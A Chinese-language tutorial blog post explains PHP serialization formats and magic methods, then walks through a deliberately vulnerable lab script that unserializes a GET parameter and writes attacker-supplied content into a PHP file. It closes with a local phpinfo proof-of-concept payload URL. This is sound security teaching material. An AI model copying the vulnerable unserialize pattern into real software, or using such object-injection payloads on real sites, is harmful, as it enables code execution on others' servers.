[web安全原理]PHP反序列化漏洞
前言
這幾天一直在關注新管狀病毒,從微博到各大公眾號朋友圈瞭解感覺挺嚴重的看微博感覺特別嚴重看官方說法感覺還行那就取中間的吧 自己要會對這個東西要有理性的判斷。關注了好兩天所以耽擱了學習emmm 希望病毒早點過去吧!
反序列化漏洞
序列化和反序列化
為了有效地儲存或傳遞資料,同時不丟失其型別和結構,經常需要利用序列化和反序列化函式對資料進行處理。
反序列化函式返回字串,此字串包含了表示值的位元組流,可以儲存於任何地方
反序列化函式對單一的已序列化的變數進行操作,將其轉換成員來的值
這兩個過程結合起來,可以輕鬆地儲存和傳輸資料,使程式更具維護性
PHP語言中常用的序列化和反序列化函式有serialize、unserialize、json_encode、json_decode
PHP序列化
1.serialize函式
serialize是序列化函式,PHP在序列化動作之前呼叫改物件的成員函式__sleep。這樣就允許物件在被序列化之前做任何清除操作。’
(1)NULL的序列化
在PHP中,NULL被序列化為N。
<?php
$str=NULL;
$xl_str=serialize($str);
print_r($xl_str);
?> 頁面結果為: N;
(2)Boolean型資料的序列化
Boolean型資料被序列化成b:<digit>。其中,<digit>表示0或1。當boolean型資料為false時,<digit>為0,否則為1
<?php
$str1=true;
$str2=false;
$xl_str1=serialize($str1);
$xl_str2=serialize($str2); print_r($xl_str1."<br>"); print_r($xl_str2); ?> 頁面結果為: b:1; b:0;
(3)Integer型資料的序列化
Interger型(整型)資料被序列化為i:<number>.其中<number>為一個整型數,範圍為:-2147483648——2147483647,如果被序列化的數字超過這個範圍,則會被序列化為浮點型而不是整型。如果序列化後的數字超過這個範圍,則反序列化時不會反悔期望的數值(PHP本身序列化時不會發生這個問題)
<?php
$str1=123;
$xl_str1=serialize($str1);
print_r($xl_str1);
?> 頁面顯示為:i:123;
(4)Double型資料的序列化
Double型(浮點型)資料被序列化為d:<number>。其中<number>為一個浮點數,其範圍與PHP的浮點數範圍一樣,可以表示成整數形式、浮點數形式和科學計數法形式。如果序列化無窮大,則<number>為INF;如果序列化負無窮大則<number>為-INF。如果序列化後的數字超過PHP能表示的最大值,則反序列化時返無窮大(INF);如果如果序列化的資料為非數字,則被序列化為NAN,NAN反序列化時返回0,其他語言可以將NAN反序列化為相應的語言所支援的NAN表示形式
<?php
$double1=1.23;
$xl_str1=serialize($double1);
print_r($xl_str1);
?> 頁面顯示為:d:1.23;
(5)String型資料的序列化
String型(字串型)資料序列化為s:<length>:”<value>”。
<?php
$str1="test xiaohua";
$xl_str1=serialize($str1);
print_r($xl_str1);
?> 頁面顯示結果為:s:12:"test xiaohua";
(6)陣列的序列化
陣列序列化通常被序列化為
a:<n>:{<key 1><value 1><key 2><value 2><key3><value 3><key 4><value 4>…}
<n>表示陣列個數
<key>表示陣列下標
<value>表示與下標相對應的陣列元素值
<?php
$shu=array('xiaohua1','xiaohua2','xiaohua3');
$xl_str1=serialize($shu);
print_r($xl_str1);
?> 頁面顯示結果:a:3:{i:0;s:8:"xiaohua1";i:1;s:8:"xiaohua2";i:2;s:8:"xiaohua3";}
(7)物件的序列化
物件通常被序列化稱:
O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}
<length>:物件類名字串長度
<class name>:物件的類名
<n>:物件中欄位數 包括var、protected、private、public宣告的欄位,不包括static和const宣告的靜態字串
<field name 1><field value 1>:每個欄位對應的每個欄位名
<?php
class xiaohua{
public $str='xiaohua';
public $str2="huahua";
function Func(){ print("this is Func''"); } } $aaa=new xiaohua; $se=serialize($aaa); print $se; ?> 頁面顯示結果: O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} s:3:"str";s:7:"xiaohua";
解讀:s表示字串型別,3是欄位值長度 欄位名稱是str。s表示字串7表示欄位值長度 欄位名稱是xiaohua
PHP反序列化
反序列化
unserialize是反序列化函式
若被序列化的變數是一個物件,在重新構造物件之後,會自動呼叫__wakeup成員函式(如果存在)
<?php
class xiaohua{
public $str='xiaohua';
public $str2="huahua";
function Func(){
print("this is Func''");
}
}
$aaa=new xiaohua;
$se=serialize($aaa);
$stra='O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} ';
$stra=unserialize($stra);
var_dump($stra);
?>
頁面顯示結果:object(xiaohua)#2 (2) { ["str"]=> string(7) "xiaohua" ["str2"]=> string(6) "huahua" }
反序列化漏洞利用
反序列化漏洞利用
反序列化漏洞產生主要原因:
(1)unserialize函式的引數可控
(2)存在魔法函式
1.__construct函式和__destruct函式
void __construct([mixed $args[,$...]])
PHP5允許開發者在一個類中定義一個方法作為建構函式。具有建構函式的類會在每次建立新的物件時先呼叫此方法,所以__construct函式非常適合在使用物件之前做一些初始化工作。
__destruct函式
void __destruct(void)
PHP5引入了解構函式的概念,這類似於其他面向物件的語言,如C++.解構函式會在對某個物件的所有引用都被刪除或者物件被顯式銷燬時執行
示例程式碼:
1 <?php
2 class xiaohua{
3
4 function __construct(){
5
6 print "In construct <br>";
7
8 $this->name="my xiaohua";
9
10 }
11
12 function __destruct(){
13
14 print "Destruct<br>" .$this->name."\n";
15
16 }
17
18 }
19
20 $obj=new xiaohua();
21
22 ?>
25 執行結果:
26 In construct
27 Destruct
28 my xiaohua
建立xiaohua類的新物件時,會呼叫__construct函式,輸出 In construct;物件被銷燬時,會呼叫__destruct函式輸出 Destruct my xiaohua
2.__sleep函式和__wakeup函式
__sleep函式
Serialize函式會堅持類中是否存在__sleep函式,如果存在函式會先被呼叫,然後執行序列化操作。此功能可以用於清理物件,並返回一個包含物件中所有應被序列化的變數名稱陣列。如果該函式未返回任何內容,則NULL被序列化,併產生一個E_NOTICE級別的錯誤.
__sleep函式不能返回父類的私有成員的名字,會產生E_NOTICE錯誤,該函式可以用serializable介面替代。
__sleep函式常用於提交未提交的資料或進行類似的清理操作。同時,如果有一些很大的物件,但不需要全部儲存,則使用此功能比較好。
__wakeup函式
Unserialize函式會檢查是否存在__wakeup函式。如果存在,則會先呼叫__wakeup函式,預先準備物件需要的資源。
__wakeup函式經常用在反序列化操作中,例如,重新建立資料連線或者性其他初始化操作。
1 <?php
2
3 class xiaohua{
4
5 function huahua(){
6
7 $this->name="huahua";
8
9 print $this->name;
10
11 }
12
13 function __wakeup(){
14
15 echo "wakeup <br>";
16
17 }
18
19 function __sleep(){
20
21 echo "<br> sleep <br>";
22
23 return array('name');
24 }
25
26 }
27
28 $sst='O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} ';
29 $sst=unserialize($sst);
30 var_dump($sst);
31 $xiaohua1=new xiaohua;
32 $xiaohua1->name="bobo";
33 $sr=serialize($xiaohua1);
34 print $sr;
35
36 ?>
37 執行結果:
38 wakeup
39 object(xiaohua)#1 (2) { ["str"]=> string(7) "xiaohua" ["str2"]=> string(6) "huahua" }
40 sleep
41 O:7:"xiaohua":1:{s:4:"name";s:4:"bobo";}
反序列化後,會自動呼叫__wakeup函式,輸出wakeup。序列化物件後,會自動呼叫__sleep函式輸出sleep
反序列化漏洞程式碼分析
反序列化漏洞程式碼分析
1 <?php
2 highlight_file(__FILE__);
3 class a{
4 var $test='hello';
5 function __destruct(){
6 $fp=fopen("C:\phpStudy\PHPTutorial\WWW\hua.php","w");
7 print "===".$this->test;
8 fputs($fp,$this->test);
9 fclose($fp);
10 }
11 }
12
13 $class=stripslashes($_GET['re']);
14 print $class;
15 $class_unser=unserialize($class);
16 require 'C:\phpStudy\PHPTutorial\WWW\hua.php';
17 ?>
漏洞分析:
(1) unserialize函式的引數$class可控
(2) 存在__destruct函式,此函式會將$this->test的值寫入C:\phpStudy\PHPTutorial\WWW\hua.php檔案
漏洞利用
通過引數re傳入的值要例項化a,並且改變$test的值。因為__destruct函式可以將$test的值寫入hua.php檔案中,所以可以利用該函式將PHP程式碼傳入hello.php檔案中。
1 <?php
2 class a{
3 var $test='<?php phpinfo();?>';
4 }
5 $a=new a();
6 $class_sere=serialize($a);
7 print_r($class_sere)
8 ?>
9 執行結果:
10 O:1:"a":1:{s:4:"test";s:22:"<?php%20phpinfo();?>";}
pyload:
http://127.0.0.1/test.php?re=O:1:"a":1:{s:4:"test";s:22:"<?php%20phpinfo();?>";}
參考學習:《web安全原理分析與實踐》
https://www.freebuf.com/vuls/116705.html